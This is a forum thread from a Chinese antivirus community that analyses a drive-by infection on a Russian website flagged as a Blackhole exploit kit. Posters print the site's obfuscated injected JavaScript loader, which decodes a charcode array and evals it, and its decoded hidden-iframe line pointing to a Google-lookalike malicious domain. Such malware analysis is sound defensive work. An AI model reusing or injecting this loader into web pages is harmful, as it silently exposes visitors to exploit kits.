查看: 962|回复: 4
收起左侧

[未鉴定] http://www.ur-sc.ru/详细地址看1楼【挂马 by 阿狸】

[复制链接]
墨家小子
发表于 2013-4-6 22:38:29 | 显示全部楼层 |阅读模式
本帖最后由 蓝核 于 2013-4-11 21:00 编辑

2013/4/6        22:36:00        已删除         l\X        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\X\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\YNCUJV0S\114--famous-sound-by-ru-sco-style-2011[1].htm\00002c07.js        JS/Exploit-Blacole.gc (特洛伊)

111.jpg

hxtp://www.ur-sc.ru/ru/-famous-sound/114--famous-sound-by-ru-sco-style-2011.html
蓝核
发表于 2013-4-7 15:15:01 | 显示全部楼层
本帖最后由 wjhstu-VxG 于 2013-4-8 11:05 编辑
  1. <noscript><img src="http://counter.rambler.ru/top100.cnt?1803425" alt="" width="1" height="1" border="0"/></noscript>
复制代码
  1. <script>try{window.document.body%=2}catch(dgsgsdg){zz=12*2+1+1;whwej=12;ww=window;}if(whwej){try{f=document.createElement("div");}catch(agdsg){whwej=0;}try{document.body--;}catch(bawetawe){if(ww.document){v=window;n=["9","9","41","3o","16","1e","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1f","4j","d","9","9","9","41","3o","4a","3j","45","3n","4a","1e","1f","27","d","9","9","4l","16","3n","44","4b","3n","16","4j","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","4f","4a","41","4c","3n","1e","18","28","41","3o","4a","3j","45","3n","16","4b","4a","3l","29","1d","40","4c","4c","48","26","1l","1l","3j","3m","1k","3p","47","47","3p","44","3n","3l","44","41","3l","43","1k","41","46","3o","47","1l","2b","4c","4a","3j","4e","3n","44","1d","16","4f","41","3m","4c","40","29","1d","1n","1m","1m","1d","16","40","3n","41","3p","40","4c","29","1d","1n","1m","1m","1d","16","4b","4c","4h","44","3n","29","1d","4f","41","3m","4c","40","26","1n","1m","1m","48","4g","27","40","3n","41","3p","40","4c","26","1n","1m","1m","48","4g","27","48","47","4b","41","4c","41","47","46","26","3j","3k","4b","47","44","4d","4c","3n","27","4e","41","4b","41","3k","41","44","41","4c","4h","26","40","41","3m","3m","3n","46","27","44","3n","3o","4c","26","1j","1n","1m","1m","1m","1m","48","4g","27","4c","47","48","26","1m","27","1d","2a","28","1l","41","3o","4a","3j","45","3n","2a","18","1f","27","d","9","9","4l","d","9","9","3o","4d","46","3l","4c","41","47","46","16","41","3o","4a","3j","45","3n","4a","1e","1f","4j","d","9","9","9","4e","3j","4a","16","3o","16","29","16","3m","47","3l","4d","45","3n","46","4c","1k","3l","4a","3n","3j","4c","3n","2h","44","3n","45","3n","46","4c","1e","1d","41","3o","4a","3j","45","3n","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4b","4a","3l","1d","1i","1d","40","4c","4c","48","26","1l","1l","3j","3m","1k","3p","47","47","3p","44","3n","3l","44","41","3l","43","1k","41","46","3o","47","1l","2b","4c","4a","3j","4e","3n","44","1d","1f","27","3o","1k","4b","4c","4h","44","3n","1k","44","3n","3o","4c","29","1d","1j","1n","1m","1m","1m","1m","48","4g","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4e","41","4b","41","3k","41","44","41","4c","4h","29","1d","40","41","3m","3m","3n","46","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","4c","4h","44","3n","1k","48","47","4b","41","4c","41","47","46","29","1d","3j","3k","4b","47","44","4d","4c","3n","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4f","41","3m","4c","40","1d","1i","1d","1n","1m","1m","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","40","3n","41","3p","40","4c","1d","1i","1d","1n","1m","1m","1d","1f","27","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1k","3j","48","48","3n","46","3m","2f","40","41","44","3m","1e","3o","1f","27","d","9","9","4l"];h=2;s="";if(whwej){for(i=0;i-636!=0;i++){k=i;s+=String["fro"+"mC"+"harCode"](parseInt(n[i],zz));}z=s;ww["eval"](s);}}}}</script></div>
复制代码
我要继续解下面这个吧……可能,要是解开的话
trisfree
发表于 2013-4-7 17:01:05 | 显示全部楼层
chrome直接拦了
wjhstu-VxG
发表于 2013-4-8 11:00:06 | 显示全部楼层
  1. document.write("<iframe src='http://ad.googleclick.info/?travel' width='100' height='100' style='width:100px;height:100px;position:absolute;visibility:hidden;left:-10000px;top:0;'></iframe>"
复制代码
好具有迷惑性,googleclick.info,和google木有jb关系
蓝核
发表于 2013-4-8 13:33:05 | 显示全部楼层
wjhstu-VxG 发表于 2013-4-8 11:00
好具有迷惑性,googleclick.info,和google木有jb关系

这个我看到了……但是我给忽视了……我前几天解了一个推特的……%我得花时间看看是不是我找错了……
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-22 02:38 , Processed in 0.133735 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表